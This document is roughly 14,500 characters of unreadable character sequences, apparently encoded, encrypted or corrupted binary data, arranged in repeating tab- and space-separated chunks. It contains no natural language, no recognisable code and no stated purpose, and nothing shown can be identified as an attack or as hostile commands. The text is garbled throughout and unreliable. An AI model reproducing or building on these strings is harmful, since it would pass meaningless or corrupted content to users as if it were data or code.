cZZA?BWc	6:OVSFCn_s[SB zXU3W&RUh]CQRQx	9Zek@W`	@osV6SEnr6m_v[cj %LXUTW R2UN]bQ 6R9Qg	fZa_?6WS	huVSm#4 1_[WP @XUnWR2UB]KQb6R>QJ	:ZM@#BWg	QNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	PHV4SGnDT_0[cj %L7XfUHW`RUl][Qb RfQh	ZZ@3HWL	B}VSn;B0T_0[cj %L7XfUHW8RUC]fQ.0RQh	 ZMP#JWa	:iV3SV?B6k!_Q[Rl 2zXU~WRUk]9QdRQF	Ze@#5WM	]2OV6SG#V z_\[cO 2XUPW<RUl]OQRdQ4	gZVj#jWL	RckVSmx0W=_F[dk FXUnW&R2U@]GQ3RfQh	 Zd@TWP	BcsV6SH8v6m2_0[`P YXUjW8RUC]aQ$3RfQZ	 ZM@#5W`	BuVSnWU!_o[dk F6X9U3W RUl]aQ'RQZ	:ZaR;IWg	n}VS1?20`_[[@ @XUnWR2UA]uQgRQZ	!ZVR3hW[	nuVSn;W1z_\[UR 9RXU\W.R	Uk]yQ RfQZ	ZVR?JWW	2]VSV5E`_\[eO YXU?W&R7UB]aQ3RfQg	cZU_?hWM	PuV3SG/k30`_F[[O 27XeUPW<RUl]OQRQF	&Zbjg|WM	R:MVSmqU!_C[NR n5XgUbW&R2UN]OQ"RQB	
ZdOTWS	nuV3SG/k30_3[WQ 53XU@W`R	Ul]aQ3RgQR	 ZY5#JW`	i oVSjHE_v[c5 %31X9UHWRU5]}Q$RQB	
ZdOTW`	o2]VSV5E`_\[Rl 2zX UDW&R2UB]XQ 1RdQ0	+ZUR;hWO	R}VS1r0T_v[dR 5n1X8U@W RUh]eQRQB	
ZSl4|WL	QuV6SDv131_p[O6 =AXUnWRUR]OQRQh	 ZdB?hW`	@g}VSmvF_\[Rl 2zX UDW&R2UB]XQ 1RgQd	&ZVQ36W`	7csVSj;qW_l[`R =O1X?UHW.RU7]eQdRdQ5	
ZSl4|WL	QuV6SDv10d_o[SB AXUnWR2UA]yQ 1RgQQ	+ZUP#jWa	BcNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	S:}V3SG4W_P[SO 0XgUDW&R	Uk]zQ RQF	!ZVR3hWT	BNVSmc2U_W[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|Wa	@&MVSm/V 3_[X4 6z5XeUPWR	Uj]_Q<RQx	9Zek@W`	@osV6SEnr6m_v[cj %LXUTW&R	Uk]uQd7RQd	Zbl35WM	Q}VSnv6l_p[O6 =AXUnWR2UN]OQ&3RfQh	 Za_IW[	oNVSn213_r[OR 9RX UDWfRUj]eQ=3RdQ5	)ZOP34WQ	S:MVSn?2322_4[L@ {5XeUPWR	Uj]_QRQZ	 ZT4hWM	]2MVSFq30_[S@ %36XUHW&RUj]CQ'0RQg	+Zb@hWa	B:uVSFq30_[S@ %36XUHW&RUk]8Q<1R8QB	ZaPfjWO	R.3VSTs7D_l[ci DXUTWfR2U@]GQ$ RgQR	$ZT5#JWa	73VS2#4 0!_l[cO 9MXUrW`R	Ul]aQ3RgQR	 ZY5#JWS	hOV3SG{ 2_v[`P %L7X.UjW:R Uh]KQRQx	9Zek@W`	@osV6SEnrW_l[OB =R1XUjW.R	UN]eQbRdQ5	ZZB;hW`	AOVSlj0"_5[[A 936XUHW&RUj]CQ R.QI	bZM@#jWL	Q3V3S0j 3_r[U5 %L7X.UjW:R7US]aQg6R9Qh	 Zb@g|WM	R:MVSmqV_[X4 6y5XgUjWR U4]GQ$7RQ0	$ZK4?hWg	iOVSF?r 2_\[UR y1X>UDW.R7UQ]8QRQI	$ZSAjWc	4}V3SD1 z_0[L@ %DXU@WRUA]CQaRQQ	$ZVi|W[	h:uVSFr32_v[L@ %36XUHW&RUR]OQRQF	ZbB3IWg	h.5V6SGfDF_\[dP ayXUPWRUl]_QRdQw	$ZRO0|WL	R.MVS1?W 2=_P[[B 9LX.UbWRUP]KQc7RQY	fZQj#5W`	BuV6SDv6m2_}[c@ YXUTWR	Uk]yQ RfQZ	:ZT7;hW`	@ouVSkt z_Q[eO lX9U~WRUA]CQaRQR	&ZVi6WU	A5V6SDrV>_r[SO yXUbWR	Ul]fQ 6R9Qg	+ZbB?TWX	Rc_V6SG413 _r[cl 5lXUjWR	Um]_Q7RQZ	
ZeQ3JW`	7c5VSj<y10%_W[cl 5l6XUjWRUj]eQ$RQV	
ZTP#jWg	iOV3SE0E-_o[dk F6X9U3W RUh]OQ6R9QZ	:ZT74|WL	Q5VSGo4W_r[e4 37XUPWRUC]aQ0RQg	bZMPfBWg	A 3VSTs U`_F[[A 93X:UPW.R	UA]GQb1RfQR	&ZZ@3HWL	M2~VSE;70U_1[Ri R7X.UjW:R Um][Q=7RQB	$ZQi5W`	B3VSTs7l_F[[B )l7XUPW`RUR]LQ%7R?Q5	ZZBbnW[	h:uVSn40%_q[X4 6tX U@WR U4]8Q<RdQw	cZM4TWQ	SMV6SE<y1z_G[[@ 5NXUTW-RUC]aQ3RdQZ	ZM@#jWO	] uVSmj0"_5[O_ RXUbW RU7]eQ 0RQR	:Zd4?KWO	F"AVSGnk7D_4[Wl =3X?U?W R7UA]GQd7RQ0	$ZK7HWa	R3VSF?r0T_l[U5 `3X:UbW`RUR]LQ% RQx	?ZVPFWO	@>VV6SG#V13_}[TP %l7XU3WR	Uh]OQd1RgQR	$ZNR?TWQ	Q5VSl?k30`_[NP 52XUjWR	Ul]aQ'3RdQ5	ZdOjWW	h.kVS0;4131_Q[X5 `D1X>UDW8R	Ul]KQ 3RfQZ	 ZdOjW[	hckVS1?W 2=_P[[B 9L6X>UbWRUP]KQc RfQh	$Zaj#jWg	S uVSlS7D_r[Rl =n6XU\WR7U^]CQ=7RQJ	!ZVR3hWT	BNVSG7E_v[U5 `l XfU~WfR	Uk]uQ"3RdQ5	ZZ@#hW`	M23V3S0t 3_0[L4 n7XUDWfRUA]9QdRQF	ZeB3jWa	B&uV6SG/q10!_l[LB 9n7XUbW.R7UN]LQfRQB	ZMOBWU	BuVSn43_O[T7 5OXU~W.R7UP]CQg6R9Qh	 ZbO?6WS	hOV3SHQ30`_[NP 52XUvWRUh]eQg6R9Qh	 ZbO?6WS	hMV3SHkW=_P[[@ 5NXU3WRU7]CQg6R9Qh	 ZbOTWQ	Pg5VSlr7Ee_r[J7 NXULW-RUC]aQ'3RdQZ	ZY4jWL	R.3VSTs U`_p[WP @XUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR	Uk]zQ  RfQZ	ZZ@3HWL	BRV3SG130_1[cB 531X9U~W8R	Uk]yQ RfQZ	ZRB?hWc	OVSlB0U_\[TR 9L7XfUHW`RUl][Qb RfQh	ZZ@3HWL	BMVSn233_v[X5 %L7XfUHW`RU5]}QRgQR	ZZ@3HWL	CAVSmnk7D_4[cB :zX8UPWR7U@]_Q<RdQw	cZUl?JW`	o2]VSV533_0[e7 5l5XeU\WRU7]eQ$1RgQV	ZVPFWO	@>VV6SG#V13_}[TP %l7XU3WR	Uh]OQd1RgQR	$ZNR?TWQ	Q5VSl?k30`_[NP 52XU~W&RUm]KQ RfQZ	$ZTR;TWW	5oOVSl?W33_v[c@ %R7XeUPWRUA]CQaRQR	 ZT5fjWV	7.5VSm/t30`_@[[@ `l1X>UDWfR2UB]aQ'7RQd	ZZ@#5W`	BuVSnWU_r[RA lXUjWfRUk]GQ6R9Qh	
ZbB?TWQ	Rc5VSmj1l_\[`R 2yXULW RUj]eQRQx	9Zek@W`	@osV6SEnr6m2_4[Pl =DXU@W RUh]eQd0RQZ	&ZU_0WU	C MVSlr7Ee_r[J4 6t1X>U@W.R	UN]eQ$ RfQR	ZR@#5W`	BuVSmnS32_l[X7 5OXgUjWR	Um]_Q7RQd	ZZB35Wa	@ouVSn43_O[Rl =D1XUTWfR2U@]GQ$7RQd	ZZB;5Wa	BMV6SFj0"_5[cl 2yXgUTWfR2U@]GQ$1R8QB	ZT_BWT	R.3VSTs U-_i[Pi RXUjW&RUm]aQ=6R9Qg	bZbO?KWO	F"AVSmbWU_r[RA D6XeU@W`RUP]GQRfQ5	 Za_WU	B.sV6SED7G_1[d_ DX8U\W<R7U5]CQRQI	$ZSABW`	43VS2/r0U_i[Oi 906X>UbWRUP]KQc RfQh	$Zaj#jW`	B:}VS2vG_r[e4 37XUPWRUC]aQ'0RQg	+ZbO?KWO	F"3VS2/r0U_i[[O RX ULW R2U@]DQ/3RdQ5	)ZOP35WU	M:MVSlS7D_p[[O RXU\W.R	Uk]yQ RfQZ	:ZT7;hW`	@ouVSmbk7D_3[WQ 53XUTW:RUB]\Q RQ5	&ZN6;GWW	]>}VSEj 22_0[`R =nXU\W`R7U4]9QdRQF	ZeB3jWa	B&uV6SG/q10!_l[LB 9n7XUbW.R7UN]LQfRQB	ZaPfjWO	R.3VSTs7D_}[Wl 5hXU@W`R7U6]GQ<RQR	$ZY7;jWT	BiVSDt0U_\[cB 9RXU?W`R7U6]GQ" R.QN	ZdOjWW	h.OVSl?W 2=_P[W_ RXU7WfRUj][Q$7RQ0	$ZK74W`	i oVSjHE_s[T_ 6zXUjWRU@]KQ<RQx	9Zek@W`	@osV6SEnr6m2_4[Pl =DXU@W RUh]eQd0RQZ	&ZU_0|WL	]:OV6SFj0"_5[[@ %n7XUPW`R7U6]GQ<RQR	$ZY7;jWT	BiVSDt0U_\[cB 9RXU3W`R7U6]GQ" R.QN	ZdOjWW	h.OVSl?W 2=_P[W_ RXU7WfRUj][Q$7RQ0	$ZK74W`	i oVSjHE_s[T_ 6z1XU\WRUk]XQe7RQd	&ZN6;GWW	]>OV6SHp32=_v[`_ OX>UDWR	Uh]OQd1RgQR	$ZNR?TWQ	R:sV6SDr7Ee_r[J4 6z1XU\WRUk][Q<1R8QB	ZMjfjWW	ouVSn43_\[dR =nXU@W`RUC]_Q<1R8QB	
ZVihWc	4 OVSmQW_v[U5 %L6X9UHW`RU5]}QRgQR	ZZ@3HWL	M2NVSmc2U_W[dO RXUTWR2UA]uQ'RQZ	
Zb@4Wa	4 oVSjHG2_}[d_ zX8UPWR	U@]@Q/RQB	fZe_nWg	M:_VSkj 3_r[U5 %L7X.UjW:R7US]aQ6R9Qg	bZMR;hWT	B~VSE<x0W=_V[LP %L7X.UjW:R7U@]eQbRQZ	ZU_0|W`	h~VSF?V12_w[WR 5nX?U?WR	Uk]uQ3RdQ5	&ZY40Wg	i _V3SFj0"_5[e7 9L6X>UbWRUP]KQc1ReQB	ZZO|W[	n&OVSjtX_[WP @XUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR7UN]OQ3RdQ5	)ZOP34WQ	PguV6SH'V 3_G[[O RX ULW R2U@]DQ/3RdQ5	)ZOP35WU	M:MVSlS7D_C[[O RXU\W.R	Uk]yQ RfQZ	:ZT7;hW`	@ouVSmbk7D_3[WQ 53XUTW:RUB]_QdRQ5	&ZN6;GWW	]>}VSEj1_0[Pj 527XeUPW<RUl]OQRQh	!ZVi5WO	]OVSj<v30_i[TR 9NXgUvWR	UB]OQ 1R>QJ	:ZaP#TWW	7:uVSk<v6m2_}[cA =AXUvWR7UA]GQ=1R.QJ	:ZVP#4W`	43VSnJW_v[Wl 526X.UjW:RUk]4Q<1R.QJ	fZbB3hWS	hNVSl2U_W[dO l6XUTWR0UQ]uQ R>QF	ZeB/4W`	63V3SV5D_0[VR &tXUPW8R U4]CQaRQR	&ZeOjW`	S5VSn'O30_G[T_ 9OXgUbWRUm]aQd0RQg	$ZVPTW`	]kVSm/O1z_l[LB 9RXULW RUh]eQb RfQh	:ZM@#BWX	S NVSl2U_W[dA A6X9U3W.RUh]aQ$ RfQZ	ZOPhWL	R.MV3S1[D_r[T_ 6{1X8U@W&R2U@]GQ=1R9Q5	$ZQihWW	i sVSnv6m2_0[`_ 906X>UbWRUP]KQcRQF	&ZbjfJW`	:kVSF?O6m_l[X7 5RXUrWRUh]aQ$ RfQZ	 ZcA3hW[	n&MVSl?rF_\[Pi 3XUTW.R7UN]OQ1R8QB	
ZQjfBWg	M:OV6SGv30_i[WP @XUnWRUQ]8Qc RdQ5	ZZAIWg	CuVS3?4 0`_Q[e7 =lXUTWfR	Uh]OQRQB	)ZaR?TWa	RcsVSmowV_O[UR =l1X?UvW&RUh]}Q7RQd	%ZNjTWQ	]sV6SG/k7H1_p[WP @XUnWRUQ]zQbRQF	ZeAJWa	C }VS3'rV_@[ci O1XU\W&RU5]eQb RdQ5	&ZRO?4W`	P3VS12 z_O[e5 `lXUTW:RUk]4Q<0RQ1	Zc7<|W`	B:uVSj<{1z_V[UQ 5D1X>UDW&R2UB]OQ RQx	 ZSl3jWS	R:uVSn;r7Ed_o[dk F6X:UnW8R2UA]uQ1R.QJ	:ZMB?TWU	@sVSn?4 2=_l[L@ %DXUPW8RUA]<QgRQB	
ZQjfBWg	M:OV6SGv30_i[S@ 5L6XfUTW-RUm][Q RgQR	:ZM@IWg	osVSn0vV>_5[SO 90XU~WR
Ul]aQRQA	fZVO4WQ	ROVSnqU!_0[LO 9MXgUvWRUA]8Qc3RgQQ	fZd73jWg	R.sV6SES0U_1[e5 `D6X8U@W`RU7]eQRQZ	 ZbO?KWO	F"3VSG132=_3[LR =nXUTWR U5]eQ 3R.QN	gZeR3JWa	4 NVSG7E_p[dB 5l7XUvW&R2UN]aQ3RfQZ	ZU_0|Wa	@&MVSm/V 3_[X4 6y1X8U@W&R2U@]GQ=7RQd	&ZN6;GWW	]>VV6SD46j_l[WR 5hX.U@WRUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTWR U5]eQ 3R.QN	gZeR3JWa	73VSj4 2=_P[[@ 5NXUTW.R U5]eQ 3R.QN	gZeR3JWa	73VS2#4 0!_l[cO 9MXUrW`R U7]CQd R.QJ	Zd5fjWO	B3VSjrT_V[WR 53XUTW:RUB]_QRQ5	&ZN6;GWW	]>VVSmnS7Ed_V[Pj 527XeUPW<RUl]OQRQF	 ZT5fjWV	7.5V6SDBU_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_Q[d_ 37XU?W&RUj]eQ$1RgQV	)ZY40|WL	]:OV6SFj0"_5[[O n7XUbW R2UB]KQ$RQZ	:Zd4?6WS	hMV3SHkW=_P[[@ 5NXU3W.R	Uh]OQd0RQg	+ZbB;hW[	k2NVSmc2U_W[dA lXUjWfRUk]GQ RfQR	ZMR;TWg	]:}VSH?40`_@[[B 537XU?W&RUh]@QbRgQV	ZTR;jWg	@o5VSkj1l_O[Rl 5n7XU7W.R7U5]@QbRgQV	ZdR;TWa	73VS10012_P[[@ 5NXUTW.RU4]GQf RfQh	 ZMO?6WS	hMV3SHkW=_P[[@ 5NXUTWRUh]aQ$0R QN	:ZM@#JWa	4 NVSG7E_p[dO RXUTW:RUB]aQRgQV	)ZVPFWO	@>VVSW/1 z_1[U5 %3XU\WRUC]_QRQI	$ZSABWO	M&VVSG/1 z_1[U4 nX:UjW&RUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTWRUh]aQ$0R QN	:ZM@#JWW	4:OVSjQ0W2_4[ci 906X8UPW<RUl]OQRQg	+Ze_|W[	i5V6SF?rF_O[dP ayXUPWRUl]_Q<1R8QB	ZT_hW[	hOVSHWU_r[RA l6XUTW8RUN]aQcRQE	fZRlbPWL	@3V3SWfDm_3[P7 tXUvWRUj]@QdRQF	ZeAJWU	B._VSmJ32_l[`P azXUPW8RUR]OQ0RQZ	gZd5fBW`	i3VS1S12_w[LR 53XUTW:RUB]_Q<1RfQZ	fZQj#nW[	h:sV3S3k7D_O[UP ay1XUPW.R U6]KQ<RdQw	cZZB<Wg	n&}V3SG/BV_[X4 6yXgUbWRUh]}Q R.QN	ZbB34Wa	:iV3SU;B13_0[Rl zXULW&R2UB]_Q<RQx	9Zek@W`	k>OV6SHp30_3[cB 5nX?UvWRUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTW=RUh]}Q$RQV	)ZY40|WL	]:OV6SFj0"_5[[@ %D1XU~W RUk]~Q/ RgQR	ZZOTWQ	S}VS1?W z_5[[@ 5NXU3W&RUh]aQ$0R QJ	!ZMR35Wg	hcsV3SUj1z_l[X5 %l1X>UDW&R2UC]KQ<RdQw	cZZO?6WS	hOV3SG{ 2_v[`P %L7X.UjW:R Uh]KQRQx	9Zek@W`	A:]VSV511_@[[@ 5O6X-UrW`R7U4]9QdRQF	ZeO?hWg	iOV6SD4 3_\[P4 yXUbW:RUh]CQ<RQI	$ZSAjW`	MNVSm/O1z_l[LB 9RXUvWRUl]KQ0RQg	bZbl?JW`	A2kVSF?J z_}[U5 `lXU3WRU5]bQ 1RdQo	$Zbjg|WM	PoOV6SHq319_o[SB AXUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR	Uk]zQ  RfQZ	ZZ@3HWL	BEVSj;Q 2=_r[`P %R7XfUHW`RUl][Qb RfQh	ZZ@3HWL	BsVSj;Q 2=_r[`P %R7XfUHW`RU4]yQb RdQt	:ZbO?KWO	F"3VSn'V 22_}[dR 53XUHW.RU7]eQdRQ5	&ZN6;GWW	]>OV6SHp32=_v[`_ OX>UDWR	Uh]OQd1RgQR	$ZNR?TWQ	R:sV6SDr7Ee_r[J4 6y1X>U@W R7UB]KQRQB	)ZY40|Wg	hsVSn'O7Ee_r[J4 6z1XUDW`R7U6]GQ<RQt	 ZQj#JWa	:iV3SU;OW=_1[U4 DXUTW-RUC]fQ.0RQh	 ZMP#JWa	:iV3SU;v2_l[Rl =DXU~W`R7U4]8QRQI	$ZSABW`	43VSUV11>_5[[B 9NXgUvWRUA]uQg R.QN	gZT5#5WM	SMVSEWU_r[RA =AXUnWfR2UA]<QRQZ	 ZT_|W[	oNVSF?J z_}[U5 `lXU3WRUk]8QRdQI	$ZSAGW`	@NVSH56k!_i[SB :z6XU3WR	Um]\QbRQp	+ZQlTWT	M kVSjV1z_0[dP %nXUTW-RUR]\Qc1RdQt	gZb@34Wa	4 oVSjHE_v[WP %26XeU@W`R	Uk]DQg3RfQh	eZdB;jWL	P&iVSDjT_3[Ri 36XULWRUN]CQ7RQV	'ZRBblWg	nnVSG/iV_q[e@ {6XU~WRUN]}Q9RQ5	&ZRA3FWO	@>VVSWb57E!_O[U_ R6X.UjW8R	Ul][Q$RQd	ZWR rWO	C3VSU;L0T_1[W_ OXUjW.RUh]aQ$ RfQZ	ZZB?HW[	6&VVSGb5E`_\[cA 5nX?UvW8RUR]OQ7RQt	ZT_TWO	F"uVSn;r0X1_@[[@ azXU3W-R7UA]DQg3RdQ5	%ZVjf6W`	7~V3SV?J z_}[U5 `lXU3WRUA]CQaRQR	&ZeAJWU	@gMVSl?VU_G[S@ 5L6XfU3W&RUh]aQ$0RQc	$ZK6WU	BcJVS2vF_p[O6 =AXUnWRUQ]8Q"1R.QN	
Zd74W[	o}VS2vV>_r[SO 9O1X>UDW&R	Ul]fQ/RQA	$ZK65W[	k:uV4SXk 1_@[WP @XUnWRUQ]8Qc3RfQh	eZUR36W`	7c}VS1?2 z_l[LO OX>UDW<RUl]OQRQF	 ZOPhW[	h}VSmW33_s[T_ 9nX>UTW&R2UN]}QgRQg	bZSj3HWO	B}VS3?V0T_0[Wi nX9UjW`R7U4]4Qg7RQV	ZeA}WM	PHVSDD7H_q[SB dj1X?UHWRUB]aQaRQ5	ZN6;GWW	]>VVSWbt32_l[UP ay1XUPW.R U7]eQ 1RfQR	eZQj#jWP	PiVSl412_1[dQ 5LXUvWRUA]8QcRQ5	%ZR@_W`	5iVSDD0U_1[e5 `D6X8U@W`RU7]CQ1RfQZ	ZZOTW`	7}V3SXW1mm_r[RA A6X:UnW8RUA]4Q RQ5	%ZOP34WW	6:}VSH?40`_@[[O n6XULW&RUh]CQ=RQB	ZM4?6W`	h]VSV5E_p[S@ R6XgUbW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;B6k_Q[cO 90X?UTW`RU5]CQ<RQE	$ZSAGW`	k>NVSG7E_p[dA LXULW.R7UB]aQ3RdQZ	eZTP_WO	@}VS3?V0T_0[Wi nX9UjWRU@]eQRQB	:ZTjpW[	nchV3S0;[D_}[UA {X8UjW`RUR]OQ=RQB	
Zbj#BWg	n&}V3SG/BW_0[e4 yXfU~W R7U6]GQ7RQt	ZV_hW[	ngNVSG7E_p[dA l6XUTW8RUN]aQ1R.QE	fZd5#BWg	iMVSn?J30`_@[ci O1XU\W RUk]GQ1RgQd	&ZVPIW[	6&VVSGb5E_v[eB :y1XUPWR	Uj]_Q7RQt	ZV_hW[	nghVSVK1l_s[cj azXU?WR2UN]OQ'3ReQA	cZdRIWg	MOV3SWWU_r[RA A6X:UnWR2UA]~Q-1RgQR	 ZM@#JWP	Bc}VSm/B30_3[S7 tXUHW8RUN]eQ$RfQZ	 ZMBIWg	MOV3SWWU_r[RA A6X:UnWR2UA]yQ RfQY	fZTP#JWP	Bc}VSm/B30_3[S7 tXUPW<RUl]OQRQF	&ZeABWQ	S5V6SFrV_@[dP %3X8U\W&R7US]_Q"1RfQZ	 ZQj#BWg	n2AVSjWE`_Q[O6 =AXUnWRUQ]8QcRQh	:ZSihWM	@uV3SE;rU!_C[T_ 9OXeUPW.R	Uk]GQ3RQ1	$ZS_TW`	4AV SWvE-_o[dk F6X:UnWRUQ]zQbRQF	ZeAGW`	k>uV3SH'k z_3[cB 9RXULWfRUj]CQ$1R.QF	9ZUlJW`	o2]VSV5E_p[dB :z1XUPWR	Uj]_QRQB	$Zd@#jWM	]NVSF?B6k_Q[cO {XgUbWRUk]8QRQt	9Zek@W`	k>VVSWb532=_3[TR 50XgUTW&RUk]DQ 1RgQd	ZbihW`	@uVSn'I W"_r[X5 Y7XULWR Um]KQRQI	$ZSAGW`	k>VVSj7E_p[dA A6XUTW RUj]GQ 1R.QJ	ZU_?IWW	4 }VSmO3Ed_1[RR 9NXgUvWRUA]8QcRQF	 ZQi5WM	P&@VSn'k z_3[cB 9RXULW.R7UB]aQ3RdQZ	eZTR?HW[	6&VVSGb5E_r[dk F6X:UnWRUj]CQ$ RdQt	eZb@IW[	6&VVSGb5G=_l[Ri nXU@W&RUh]aQ$0R QN	:ZM@#JWP	BcsVSj;Q 2=_r[`P %R6X8UPW<RUl]OQRQF	 ZOQ;GWW	]>VVSmnS7Ed_F[Wi O1XU~W:R7U^]CQRQI	$ZSABWO	M&VVSDV1j_l[`P %RXdU7WfR	Uk]GQ= RfQ8	$ZSA;GWT	R.OVS3'r6m=_q[SB 9RXUjW RU7]eQ R.QI	cZR@3HWO	@3VS1S12_l[`R =27XeUPW8R U4]CQaRQR	&Zbl;BWW	5g5VSlr2=_O[cB =n1X:UTW&R7U6]_Q<3RgQR	 ZY5#lWM	Q}VSlV0W=_\[U_ 906X?UTW:R7U7]CQ<3RdQZ	
ZSj#5Wa	43VS2B 2_0[dP %tXU?W RUh]aQ3RgQR	 ZY5#BWg	i _V3SFjE`_s[Oj RXU@WRU6]KQ0RQh	 ZY74WQ	R.uVSH2U_W[dO 9n7XU3WR2UA]uQ' RfQh	$ZVR3_WO	S }VS3'rV_@[cl {1X:UDWR1UA]yQ RQx	9ZZArW[	ncnV5SmN j_r[bR )V6XU@W`RUR]OQRQk	gZRO?rWM	P.^VSn?nG_1[S4 6{1X:UDWR1UA]yQ RQw	fZU6?}WO	]>JV3SU;KV9_W[S@ "zX>UDW RUk]yQ<RQB	ZTP#jWL	RcOV6SHW 3_0[eO 3XU?W`R7U4]9QdRQF	Ze@JWU	Bc5VSn'E32_l[`P `06XgUTW`R7UQ]4Q"3RfQZ	 ZTR|Wc	OV3SED0`_s[[B )3XUTW<RUk]8QaRQR	&ZbijWL	]OV3S2o4W_r[e4 37XUPWR1U|]OQRQF	&ZUj_WO	F"kVSn213_r[OR 9RXU~W&RUh]jQ.3RdQZ	?ZR@hW`	@ouVSnk32_r[L@ %LXUTW;RUl]aQ1R>QJ	ZRO_WT	S oVSEj1l_\[LO lXU~W.RU7]eQb RdQZ	%ZVR?JWS	k&VVSGb5 X_s[NP 52XgUjW.R	UN]eQbRdQ5	ZZA|W[	k2MV3SG2X_\[Wl 5l7XUPWR7U^]CQ=7RQA	fZTA?lWg	B>^VSn?I7D_3[bA p5XgUDWR1UB]aQ?RQQ	+ZcO0}WO	C ~V5SzHE_p[UP YXUrW8R	Uh]OQd1RgQR	$ZNR?TWQ	P.uVSn0x30_i[SB dj6XfUTW-R	Um]aQ$RQZ	fZViWU	M _V6SD4 2=_P[T_ 9tXU~WR
Uh]eQ8RQJ	gZR40}Wg	kRV5SG#vG"_0[XR VXUDW`RUR]OQRQ5	Zek@W`	k>1VSGo43_Q[d_ h1XUjWRUm]_Q<RQJ	:Zd7;5W[	k2kV4ST;L7H1_V[PR dtXdUHWRUS][Q1R9Q8	$ZSAGW`	okV STsW_r[e4 37XUPWRUC]aQ3RdQZ	gZMj#BWX	PJVSUDT_0[d_ h1X9U~WRUN]CQ=7RQA	fZTA?lWg	B>^VSn?I7D_0[W@ tXdUHWRUN]}QRQJ	ZVBrWW	iJV5Sk;hV_O[bO 6{XUPW-R1U|]OQRQF	&ZMj_WO	F"kVSn213_r[OR 9RXU~W&RUh]jQ.3RdQZ	?ZRA|WM	]MVS0;413_P[[O RXUHWRUA]GQR9Q5	:ZTj?6WQ	P.^VSn?nG_1[P6  tXU\W=R0UC]aQRQ5	ZZBJW`	h]VSV5E-_[S@ 5NXUTW RUh]eQd0RQZ	&ZU_0}Wg	h.}VSG#r13_Q[Sj %lXUTWR	Ul]aQdRQB	)ZY4?rWM	P.^VSn?nG_1[S4 6{1X:UDWR1UA]yQ RQw	fZQR }Wg	C3VSTW1mm_r[RA A6X>UTW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;Cn_s[SO hX9UjW8R	Ul]KQ 3RfQZ	ZZOIWg	o}VSF?VU_Q[Pj %DXU@W.R	Uh]aQ R>QN	eZe_hW`	@OV3SHQ30`_@[WR 9L6X9UHWRUP]KQcRQx	&ZR@3HWL	@sVSn?20U_p[T_ 6{XU@W&RUj]CQg6R9Qh	 Zb@IWW	6:MVSkj1n_0[P6 9v6XUPWR
Ul]aQRQ5	Zek@WO	@>VVSWbR V_s[NP 52XgUjW.R	UN]eQbRdQ5	ZZA}Wg	PkV4SG#r12_3[WR 2zXUTW-R0U@]CQ;RQA	fZaA?lWg	@.HVSD;iE`_F[dk F6X:UnWRUN]KQRdQw	cZR@fBWg	M2sVSmbS7D_Q[[Q {6XU@WR1Ul]eQ<1R8QB	fZeA}WM	PHV4SF5G`_w[[5 YXUTW`RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3R.QI	fZePgWU	C OVSjS l_O[Pi OXeUPWR7UA]yQ  R8QB	)ZVP6WX	V"hV6SGO1_0[dP 527XdUTW<R7UQ]4Q<RQQ	gZZB?JW`	h]VSV5E-_}[e5 YXUrW8R	Uh]OQd1RgQR	$ZNR?TWQ	P.sV6SG#rX_}[Wj %nXUTW-R	Um]aQ$RQZ	eZd@#6WP	B}VSn132_0[U7 2zXU~W`R7U4]8Q1R9Q8	$ZSAGW`	iAV3S2o43_Q[d_ h1XUjWRUm]_Q<RQh	
ZT4jWL	S }VS1?20U_\[Wi 27XfUHW`R	Uh]OQ" RfQh	 ZaR3jWa	C OVSGbkU_W[dA N7X UDW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;4 2_V[Wl :{X U@W.R7U@]GQ3RgQQ	fZQj#jWL	B~VSk;rW_3[e@ %0XUTW R2U@]GQ= R.QN	ZQ7;BWg	B@VSm#V12_l[`_ 906X8UPW-R1U|]OQRQF	&ZUi'JW`	:iV3SV412_1[dQ 5LXUTW&R2UB][Qb0RQR	 ZbB|WU	B3V3S1j30_\[Rj %37XeU@W`RUk]GQ'0RQh	gZY5#lWM	RcOVSHWE`_F[dk F6X:UnWRUA]<QRdQw	cZR@fBWg	M2sVSmbS7D_\[W_ yXfUHW RUk]uQ3RdQZ	gZd74Wg	@g3V3S1j30_\[Rj %37XeU@W`RUj]eQ1R.QN	ZY5fBW`	@uVSn?2 z_1[U_ 906X8UPW-R1U|]OQRQF	&ZUi'6W`	:iV3SV412_1[dQ 5LXUTW.R7UA]GQ<6R?QZ	eZM@#BWg	@uVSlV0X_r[X4 07XfUHW&RUk]DQ 0R QJ	!ZZB?TWQ	]2uV6SE;W1z_\[cO pXUTWR	Ul]aQf0RQh	 ZT_?6W`	i ~V5SzHE_p[Tj R6X.UjW:R7UP]CQb1RfQR	gZeQ3JWP	BOV6SHj6m=_3[P4 DX8U\WR	Uk]GQ R>QJ	ZQjf6Wa	7uVSmv0T_w[[B 9RXU?W R2UC]aQ0R QE	fZUl;jWM	QuVSn'E3z_Q[Ri 906X8UPW-R1U|]OQRQF	&ZUjJW`	:iV3SV412_1[dQ 5LXUTWR2UA]GQ R.QN	gZNR|WW	i OV6SG v7H1_V[[@ %DXUvW&R7UN]CQ7RQI	+ZbB3jWM	]2_VSj;k6m2_}[WR =R7XeUPWRUm]GQaRQR	&ZeBNW`	5iVSDD0U_1[e5 `D6X8U@W`RU7]CQ 1R.QN	
